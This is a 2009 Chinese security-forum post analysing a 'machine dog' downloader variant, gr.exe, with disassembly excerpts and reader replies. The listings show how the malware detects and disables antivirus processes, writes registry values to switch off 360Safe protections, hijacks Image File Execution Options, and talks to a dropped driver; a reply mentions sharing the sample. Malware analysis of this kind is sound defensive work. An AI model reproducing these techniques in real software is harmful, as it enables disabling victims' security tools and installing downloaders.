首页
社区
课程
招聘
[原创]最新机器狗变种分析gr.exe
发表于: 2009-1-21 09:51 25612

[原创]最新机器狗变种分析gr.exe

2009-1-21 09:51
25612

一、病毒标签:
病毒名称:  机器狗最新变种
病毒类型:  下载者
文件SHA1: 11e187662e89fdf5c200f8fbab1672558461e0ce
危害等级:  3
文件长度:  脱壳前37,205 字节,脱壳后130,501 字节
受影响系统:Microsoft Windows NT 4.0
Microsoft Windows NT 4.0 Terminal Services Edition
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows Server 2003
开发工具: Microsoft Visual C++ 6.0
加壳类型: FSG 2.0 -> bart/xt
二、病毒描述:
    该病毒运行会关闭杀软,大量下载病毒木马。
三、行为分析:
1、遍历进程,创建一个名为puuyt互斥体,临时路径释放98989898文件

push    ebp
seg001:00416892                 mov     ebp, esp
seg001:00416894                 sub     esp, 1Ch
seg001:00416897                 call    sub_4167D3      ; 遍历进程
seg001:0041689C                 cmp     eax, 0Ah
seg001:0041689F                 jnb     short loc_4168A5
seg001:004168A1                 xor     eax, eax
seg001:004168A3                 leave
seg001:004168A4                 retn
seg001:004168A5 ; ---------------------------------------------------------------------------
seg001:004168A5
seg001:004168A5 loc_4168A5:                             ; CODE XREF: start+E j
seg001:004168A5                 push    esi             ; hWnd
seg001:004168A6                 push    edi             ; lpMsg
seg001:004168A7                 push    offset aPuuyt   ; "puuyt"
seg001:004168AC                 xor     esi, esi
seg001:004168AE                 push    1               ; bInitialOwner
seg001:004168B0                 push    esi             ; lpMutexAttributes
seg001:004168B1                 call    CreateMutexA    ; 创建一个名为puuyt互斥体
seg001:004168B7                 call    GetLastError
seg001:004168BD                 cmp     eax, 0B7h
seg001:004168C2                 jnz     short loc_4168CB
seg001:004168C4                 push    esi             ; uExitCode
seg001:004168C5                 call    ExitProcess
seg001:004168CB ; ---------------------------------------------------------------------------
seg001:004168CB
seg001:004168CB loc_4168CB:                             ; CODE XREF: start+31 j
seg001:004168CB                 mov     edi, offset BinaryPathName
seg001:004168D0                 push    edi             ; lpBuffer
seg001:004168D1                 push    104h            ; nBufferLength
seg001:004168D6                 call    __imp_GetTempPathA
seg001:004168DC                 push    offset a98989898 ; "98989898"
seg001:004168E1                 push    edi             ; lpString1
seg001:004168E2                 call    __imp_lstrcatA
seg001:004168E8                 push    edi             ; lpFileName
seg001:004168E9                 call    sub_4161A0      ; 临时路径创建98989898文件
seg001:004168EE                 test    al, al
seg001:004168F0                 pop     ecx
seg001:004168F1                 jz      short loc_4168FF
seg001:004168F3                 push    edi             ; NumberOfBytesWritten
seg001:004168F4                 call    sub_416849      ; 设置文件指针
seg001:00415F30 ; kavstart.exe
seg001:00415F30 ;
seg001:00415F30 ; kissvc.exe
seg001:00415F30 ;
seg001:00415F30 ; kmailmon.exe
seg001:00415F30 ;
seg001:00415F30 ; kpfw32.exe
seg001:00415F30 ;
seg001:00415F30 ; kpfwsvc.exe
seg001:00415F30 ;
seg001:00415F30 ; kwatch.exe
seg001:00415F30 ;
seg001:00415F30 ; ccenter.exe
seg001:00415F30 ;
seg001:00415F30 ; ras.exe
seg001:00415F30 ;
seg001:00415F30 ; rstray.exe
seg001:00415F30 ;
seg001:00415F30 ; rsagent.exe
seg001:00415F30 ;
seg001:00415F30 ; ravtask.exe
seg001:00415F30 ;
seg001:00415F30 ; ravstub.exe
seg001:00415F30 ;
seg001:00415F30 ; ravmon.exe
seg001:00415F30 ;
seg001:00415F30 ; ravmond.exe
seg001:00415F30 ;
seg001:00415F30 ; avp.exe
seg001:00415F30 ;
seg001:00415F30 ; 360safebox.exe
seg001:00415F30 ;
seg001:00415F30 ; 360Safe.exe
seg001:00415F30 ;
seg001:00415F30 ; Thunder5.exe
seg001:00415F30 ;
seg001:00415F30 ; rfwmain.exe
seg001:00415F30 ;
seg001:00415F30 ; rfwstub.exe
seg001:00415F30 ;
seg001:00415F30 ; rfwsrv.exe

劫持Thunder5.exe:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
seg001:004150AA                 mov     esi, offset aSoftware360saf ; SOFTWARE\360Safe\safemon
seg001:004150AF                 lea     edi, [esp+78h+SubKey]
seg001:004150B3                 xor     eax, eax
seg001:004150B5                 rep movsd
seg001:004150B7                 movsb
seg001:004150B8                 mov     ecx, 12h
seg001:004150BD                 lea     edi, [esp+78h+var_4B]
seg001:004150C1                 rep stosd
seg001:004150C3                 stosw
seg001:004150C5                 lea     eax, [esp+78h+hKey]
seg001:004150C9                 lea     ecx, [esp+78h+SubKey]
seg001:004150CD                 push    eax             ; phkResult
seg001:004150CE                 push    ecx             ; lpSubKey
seg001:004150CF                 push    80000002h       ; hKey
seg001:004150D4                 mov     dword ptr [esp+84h+Data], 0
seg001:004150DC                 mov     [esp+84h+var_68], 1
seg001:004150E4                 call    RegCreateKeyA
seg001:004150EA                 mov     eax, [esp+78h+hKey]
seg001:004150EE                 mov     esi, RegSetValueExA
seg001:004150F4                 lea     edx, [esp+78h+Data]
seg001:004150F8                 push    4               ; cbData
seg001:004150FA                 push    edx             ; lpData
seg001:004150FB                 push    4               ; dwType
seg001:004150FD                 push    0               ; Reserved
seg001:004150FF                 push    offset ValueName ; "MonAccess"
seg001:00415104                 push    eax             ; hKey
seg001:00415105                 call    esi ; RegSetValueExA
seg001:00415107                 mov     edx, [esp+78h+hKey]
seg001:0041510B                 lea     ecx, [esp+78h+Data]
seg001:0041510F                 push    4               ; cbData
seg001:00415111                 push    ecx             ; lpData
seg001:00415112                 push    4               ; dwType
seg001:00415114                 push    0               ; Reserved
seg001:00415116                 push    offset aSiteaccess ; "SiteAccess"
seg001:0041511B                 push    edx             ; hKey
seg001:0041511C                 call    esi ; RegSetValueExA
seg001:0041511E                 mov     ecx, [esp+78h+hKey]
seg001:00415122                 lea     eax, [esp+78h+Data]
seg001:00415126                 push    4               ; cbData
seg001:00415128                 push    eax             ; lpData
seg001:00415129                 push    4               ; dwType
seg001:0041512B                 push    0               ; Reserved
seg001:0041512D                 push    offset aExecaccess ; "ExecAccess"
seg001:00415132                 push    ecx             ; hKey
seg001:00415133                 call    esi ; RegSetValueExA
seg001:00415135                 mov     eax, [esp+78h+hKey]
seg001:00415139                 lea     edx, [esp+78h+Data]
seg001:0041513D                 push    4               ; cbData
seg001:0041513F                 push    edx             ; lpData
seg001:00415140                 push    4               ; dwType
seg001:00415142                 push    0               ; Reserved
seg001:00415144                 push    offset aArpaccess ; "ARPAccess"
seg001:00415149                 push    eax             ; hKey
seg001:0041514A                 call    esi ; RegSetValueExA
seg001:0041514C                 mov     edx, [esp+78h+hKey]
seg001:00415150                 lea     ecx, [esp+78h+Data]
seg001:00415154                 push    4               ; cbData
seg001:00415156                 push    ecx             ; lpData
seg001:00415157                 push    4               ; dwType
seg001:00415159                 push    0               ; Reserved
seg001:0041515B                 push    offset aWeeken  ; "weeken"
seg001:00415160                 push    edx             ; hKey
seg001:00415161                 call    esi ; RegSetValueExA
seg001:00415163                 mov     ecx, [esp+78h+hKey]
seg001:00415167                 lea     eax, [esp+78h+Data]
seg001:0041516B                 push    4               ; cbData
seg001:0041516D                 push    eax             ; lpData
seg001:0041516E                 push    4               ; dwType
seg001:00415170                 push    0               ; Reserved
seg001:00415172                 push    offset aIeprotaccess ; "IEProtAccess"
seg001:00415177                 push    ecx             ; hKey
seg001:00415178                 call    esi ; RegSetValueExA
seg001:0041517A                 lea     edx, [esp+78h+var_68]
seg001:0041517E                 push    4               ; cbData
seg001:00415180                 push    edx             ; lpData
seg001:00415181                 push    4               ; dwType
seg001:00415183                 push    0               ; Reserved
seg001:00415185                 push    offset aLeakshowed ; "LeakShowed"
seg001:0041518A                 mov     eax, [esp+8Ch+hKey]
seg001:0041518E                 push    eax             ; hKey
seg001:0041518F                 call    esi ; RegSetValueExA
seg001:00415191                 mov     edx, [esp+78h+hKey]
seg001:00415195                 lea     ecx, [esp+78h+var_68]
seg001:00415199                 push    4               ; cbData
seg001:0041519B                 push    ecx             ; lpData
seg001:0041519C                 push    4               ; dwType
seg001:0041519E                 push    0               ; Reserved
seg001:004151A0                 push    offset aUdiskaccess ; "UDiskAccess"
seg001:004151A5                 push    edx             ; hKey
seg001:004151A6                 call    esi ; RegSetValueExA
seg001:004151A8                 mov     eax, [esp+78h+hKey]
seg001:004151AC                 push    eax             ; hKey
seg001:004151AD                 call    RegCloseKey
seg001:004151B3                 pop     edi
seg001:004151B4                 pop     esi
seg001:004151B5                 add     esp, 70h
seg001:004151B8                 retn
seg001:00415580                 sub     esp, 130h
seg001:00415586                 push    ebp
seg001:00415587                 push    offset aSTO     ; "檎卣雄饧嘏蹘迷?
seg001:0041558C                 call    sub_415020      ; safeboxTray.exe
seg001:00415591                 push    offset aIkvfrUc ; "┆嗤銝塑?
seg001:00415596                 call    sub_415020      ; 360tray.exe
seg001:0041559B                 push    offset aCcR     ; "骁余讱卧?
seg001:004155A0                 call    sub_415020      ; psapi.dll
seg001:004155A5                 push    offset CommandLine ; "枺?
seg001:004155AA                 call    sub_415020      ;  /u
seg001:004155AF                 add     esp, 10h
seg001:004155B2                 push    0               ; th32ProcessID
seg001:004155B4                 push    2               ; dwFlags
seg001:004155B6                 call    CreateToolhelp32Snapshot
seg001:004155BB                 mov     ebp, eax
seg001:004155BD                 cmp     ebp, 0FFFFFFFFh
seg001:004155C0                 jz      loc_415737
seg001:004155C6                 lea     eax, [esp+134h+pe]
seg001:004155CA                 push    esi
seg001:004155CB                 push    eax             ; lppe
seg001:004155CC                 push    ebp             ; hSnapshot
seg001:004155CD                 mov     [esp+140h+pe.dwSize], 128h
seg001:004155D5                 call    Process32First
seg001:004155DA                 test    eax, eax
seg001:004155DC                 jz      loc_415711
seg001:004155E2                 mov     esi, lstrcmpiA
seg001:004155E8                 lea     ecx, [esp+138h+pe.szExeFile]
seg001:004155EC                 push    offset aSTO     ; "檎卣雄饧嘏蹘迷?
seg001:004155F1                 push    ecx             ; lpString1
seg001:004155F2                 call    esi ; lstrcmpiA
seg001:004155F4                 test    eax, eax
seg001:004155F6                 jz      short loc_41561B
seg001:004155F8
seg001:004155F8 loc_4155F8:                             ; CODE XREF: sub_415580+99 j
seg001:004155F8                 lea     edx, [esp+138h+pe]
seg001:004155FC                 push    edx             ; lppe
seg001:004155FD                 push    ebp             ; hSnapshot
seg001:004155FE                 call    Process32Next
seg001:00415603                 test    eax, eax
seg001:00415605                 jz      loc_415711
seg001:0041560B                 lea     eax, [esp+138h+pe.szExeFile]
seg001:0041560F                 push    offset aSTO     ; "檎卣雄饧嘏蹘迷?
seg001:00415614                 push    eax             ; lpString1
seg001:00415615                 call    esi ; lstrcmpiA
seg001:00415617                 test    eax, eax
seg001:00415619                 jnz     short loc_4155F8 ; 进程是否存在 safeboxTray.exe
seg001:0041561B
seg001:0041561B loc_41561B:                             ; CODE XREF: sub_415580+76 j
seg001:0041561B                 mov     ecx, [esp+138h+pe.th32ProcessID]
seg001:0041561F                 push    ebx             ; lpFileName
seg001:00415620                 push    ecx             ; dwProcessId
seg001:00415621                 push    0               ; bInheritHandle
seg001:00415623                 push    410h            ; dwDesiredAccess
seg001:00415628                 call    OpenProcess
seg001:0041562E                 mov     ebx, eax
seg001:00415630                 test    ebx, ebx
seg001:00415632                 jz      loc_4156FE
seg001:00415638                 lea     edx, [esp+13Ch+cbNeeded]
seg001:0041563C                 push    edi
seg001:0041563D                 push    edx             ; lpcbNeeded
seg001:0041563E                 lea     eax, [esp+144h+hObject]
seg001:00415642                 push    4               ; cb
seg001:00415644                 push    eax             ; lphModule
seg001:00415645                 push    ebx             ; hProcess
seg001:00415646                 call    EnumProcessModules
seg001:0041564B                 mov     ecx, [esp+140h+hObject]
seg001:0041564F                 push    104h            ; nSize
seg001:00415654                 push    offset ApplicationName ; lpFilename
seg001:00415659                 push    ecx             ; hModule
seg001:0041565A                 push    ebx             ; hProcess
seg001:0041565B                 call    GetModuleFileNameExA
seg001:00415660                 mov     edi, offset ApplicationName
seg001:00415665                 or      ecx, 0FFFFFFFFh
seg001:00415668                 xor     eax, eax
seg001:0041566A                 mov     esi, offset ApplicationName
seg001:0041566F                 repne scasb
seg001:00415671                 not     ecx
seg001:00415673                 dec     ecx
seg001:00415674                 mov     edi, offset aSTO ; "檎卣雄饧嘏蹘迷?
seg001:00415679                 mov     edx, ecx
seg001:0041567B                 or      ecx, 0FFFFFFFFh
seg001:0041567E                 repne scasb
seg001:00415680                 not     ecx
seg001:00415682                 dec     ecx
seg001:00415683                 mov     edi, offset FileName
seg001:00415688                 sub     edx, ecx
seg001:0041568A                 push    offset FileName ; lpFileName
seg001:0041568F                 mov     ecx, edx
seg001:00415691                 mov     eax, ecx
seg001:00415693                 shr     ecx, 2
seg001:00415696                 rep movsd
seg001:00415698                 mov     ecx, eax
seg001:0041569A                 xor     eax, eax
seg001:0041569C                 and     ecx, 3
seg001:0041569F                 rep movsb
seg001:004156A1                 mov     edi, offset aCcR ; "骁余讱卧?
seg001:004156A6                 or      ecx, 0FFFFFFFFh
seg001:004156A9                 repne scasb
seg001:004156AB                 not     ecx
seg001:004156AD                 sub     edi, ecx
seg001:004156AF                 mov     esi, edi
seg001:004156B1                 mov     edx, ecx
seg001:004156B3                 mov     edi, offset FileName
seg001:004156B8                 or      ecx, 0FFFFFFFFh
seg001:004156BB                 repne scasb
seg001:004156BD                 mov     ecx, edx
seg001:004156BF                 dec     edi
seg001:004156C0                 shr     ecx, 2
seg001:004156C3                 rep movsd
seg001:004156C5                 mov     ecx, edx
seg001:004156C7                 and     ecx, 3
seg001:004156CA                 rep movsb
seg001:004156CC                 call    sub_414F40
seg001:004156D1                 add     esp, 4
seg001:004156D4                 test    al, al
seg001:0041691D                 call    sub_41630E      ; C:\WINDOWS\Tasks释放1文件
push    esi             ; lpThreadId
seg001:0041692B                 push    esi             ; dwCreationFlags
seg001:0041692C                 push    esi             ; lpParameter
seg001:0041692D                 push    offset find_file_exe ; lpStartAddress
seg001:00416932                 push    esi             ; dwStackSize
seg001:00416933                 push    esi             ; lpThreadAttributes
seg001:00416934                 call    CreateThread
push    7D0h            ; dwMilliseconds
seg001:00416205                 call    Sleep
seg001:0041620B                 push    offset szWindow ; lpszWindow
seg001:00416210                 push    offset szClass  ; "AfxControlBar42s"
seg001:00416215                 call    sub_416070      ; 查找AfxControlBar42s窗口
seg001:0041621A                 pop     ecx
seg001:0041621B                 pop     ecx
seg001:0041621C                 call    sub_4160ED      ; 修改注册表值
seg001:00416221                 jmp     short modify_reg

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (53)
雪    币: 7146
活跃值: (3731)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
asd
2
十分强大 学习了
2009-1-21 09:57
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
3
嗯,不错。我看过类似的样本。这个过不了主动防御。
2009-1-21 10:56
0
雪    币: 251
活跃值: (25)
能力值: ( LV9,RANK:290 )
在线值:
发帖
回帖
粉丝
4
来学习的
2009-1-21 11:14
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习看雪大牛的作品!!!
2009-1-21 11:30
0
雪    币: 383
活跃值: (41)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
6
坐书生的屁股~!我不乖~!
2009-1-21 12:07
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
7
谢谢分享,建议把样本一起贴出来啊
2009-1-21 12:41
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
说的是 机器狗,怎么没穿还原部分的?
2009-1-21 16:07
0
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
9
刚好我也在看这个病毒,原来这就是机器狗啊
据说AfxControlBar42s是在查黑冰
还有好像他会干掉任务管理器。
我的系统因为他变得奇慢,OD也跑不动了,昨天用别人的电脑调试了一会。
今天只有我本本一个了,逼着我重装了系统。
我再继续努力努力。。。
2009-1-21 16:22
0
雪    币: 7146
活跃值: (3731)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
asd
10
临时路径创建98989898文件就是driver部分

所以的样本
密码:virus
上传的附件:
2009-1-21 16:47
0
雪    币: 228
活跃值: (119)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
11
强帖要留名。机器狗真厉害。
2009-1-21 16:52
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
int __cdecl sub_41671E()
{
  HANDLE v0; // eax@1
  void *v1; // edi@1
  CHAR ExistingFileName; // [sp+8h] [bp-108h]@1
  DWORD BytesReturned; // [sp+10Ch] [bp-4h]@2

  GetModuleFileNameA(0, &ExistingFileName, 0x104u);
  Sleep(0xEA60u);
  MessageBoxA((HWND)0xFFFFFFFF, "...", szWindow, 0);
  CreateThread(0, 0, (DWORD (__stdcall *)(LPVOID))sub_415E20, 0, 0, 0);
  MoveFileExA(&ExistingFileName, 0, 4u);
  sub_416223();
  sub_4166BF(BinaryPathName);
  v0 = CreateFileA("\\\\.\\Delkil", 0x80000000u, 0, 0, 3u, 0, 0);
  v1 = v0;
  if ( v0 != (HANDLE)-1 )
    DeviceIoControl(v0, 0x22001Cu, dword_4104EC, 0x3400u, 0, 0, &BytesReturned, 0);
  CloseHandle(v1);
  return 0;
}
驱动通讯部分,一直不知道0x22001Cu这里的CTL_CODE怎么计算回去,呵呵
2009-1-21 17:20
0
雪    币: 107
活跃值: (404)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
.............膜拜....牛必啊!!!!!!!!!!!!!.....
2009-1-21 17:41
0
雪    币: 95
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
记得 还有这么个过程 遍历所有非移动磁盘 生成usp10.dll 进行dll劫持 之前看过这样的样本
2009-1-21 23:07
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
看的有点晕。谢谢分享
2009-1-22 04:52
0
雪    币: 109
活跃值: (498)
能力值: ( LV12,RANK:220 )
在线值:
发帖
回帖
粉丝
16
书生,你曾经对我说
2009-1-22 08:20
0
雪    币: 159
活跃值: (339)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
17
这个样本有循环下载。

邪恶的psapi.dll
2009-1-22 15:37
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
就是那段枚举exe的
有可执行文件的路径它才会释放usp10.dll,比吸血鬼的高明多了。。。
2009-1-23 17:01
0
雪    币: 200
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
下载附件的时候ESS就提示了...学习一下
2009-1-24 00:02
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
20
今天我也分析了一下

usp10.dll里面的代码就是循环下载的。


今天看到这个才去研究了一下:http://www.scanw.com/blog/archives/355
2009-1-24 00:10
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
牛年的牛贴,希望有牛人能写个牛程序来防止机器狗来穿透还原软件!
2009-1-24 09:57
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
谢谢,学习了
2009-1-24 10:02
0
雪    币: 197
活跃值: (52)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
23
Kisstusb。。。。看着眼熟
2009-1-25 16:24
0
雪    币: 142
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
最近正好碰到这个
2009-1-25 19:12
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
这病毒是用什么 软件编的?
2009-1-25 20:30
0
游客
登录 | 注册 方可回帖
返回
//